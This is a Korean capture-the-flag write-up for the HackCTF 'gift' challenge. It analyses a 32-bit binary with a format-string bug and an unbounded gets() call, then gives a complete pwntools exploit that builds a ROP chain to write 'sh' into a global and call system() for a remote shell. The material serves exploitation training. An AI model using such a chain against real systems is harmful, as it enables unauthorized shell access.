HackCTF gift Write-Up

juuun0·2022년 1월 24일
1
post-thumbnail

Program Analyze

프로그램을 실행할 경우 두 개의 주소를 출력해주며 총 두 번의 입력을 받습니다. 이 중 첫 번째 입력의 경우 다시금 출력해주고 두 번째 입력은 별도의 출력 없이 실행이 종료됩니다.

root@e60a28c09eb6:~/hackctf/gift# ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7db49e0
Test
Test
Test222

ghidra를 사용하여 decompile 결과를 확인한 결과 출력되는 주소는 각각 binsh, system() 주소였습니다.

undefined4 main(void)

{
  char local_88 [128];

  alarm(0x3c);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  printf("Hey guyssssssssss here you are: %p %p\n",binsh,system);
  fgets(local_88,0x80,stdin);
  printf(local_88);
  gets(local_88);
  return 0;

또한 첫 번째 입력의 경우 입력 크기에 제한이 존재하여 ret 주소의 변조가 불가능하지만, 두 번째 입력은 변조가 가능함을 확인할 수 있었습니다. 이를 토대로 테스트를 진행한 결과 두 번째 입력에서 Segmentation fault가 발생함을 확인하였습니다.


Searching Vunlerability

'ret 주소가 변조 가능하며', 'system 함수의 주소를 알고 있고', 'binsh 주소를 출력' 해주기 때문에 이를 통해 RTL 공격을 시도하고자 하였습니다.

그러나 shell 획득이 실패하였고 debugging 하던 중 한 가지 놓친 점이 있던 것을 확인하였습니다. 프로그램에서 출력해주는 binsh 항목이 "/bin/sh" 문자열의 주소가 아닌 uninitialized global varaible을 출력해주고 있는 것이었습니다.

따라서 ROP chain을 작성하여 해당 주소에 "sh" 혹은 "/bin/sh" 와 같이 shell을 획득하기 위한 문자열을 입력해줄 필요가 있었습니다. 최종 exploit code는 아래와 같습니다.


Exploit

#!/usr/bin/python3

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
#context.log_level = 'debug'

p.recvuntil(": ")
binsh = int(p.recvuntil(" ").decode('utf-8').strip(" "), 16) 
system = int(p.recvuntil("\n").decode('utf-8').strip("\n"), 16) 
padding = b"A"*0x88

p1r = 0x80483ad
gets = e.symbols['gets']

chain = p32(gets)
chain += p32(p1r)
chain += p32(binsh)
chain += p32(system)
chain += b"FFFF"
chain += p32(binsh)

payload = padding
payload += chain

p.sendline("Hellooo")
p.sendlineafter("\n", payload)
p.sendline("sh")

log.info("/bin/sh: " + hex(binsh))
log.info("system: " + hex(system))
p.interactive()
profile
To be

0개의 댓글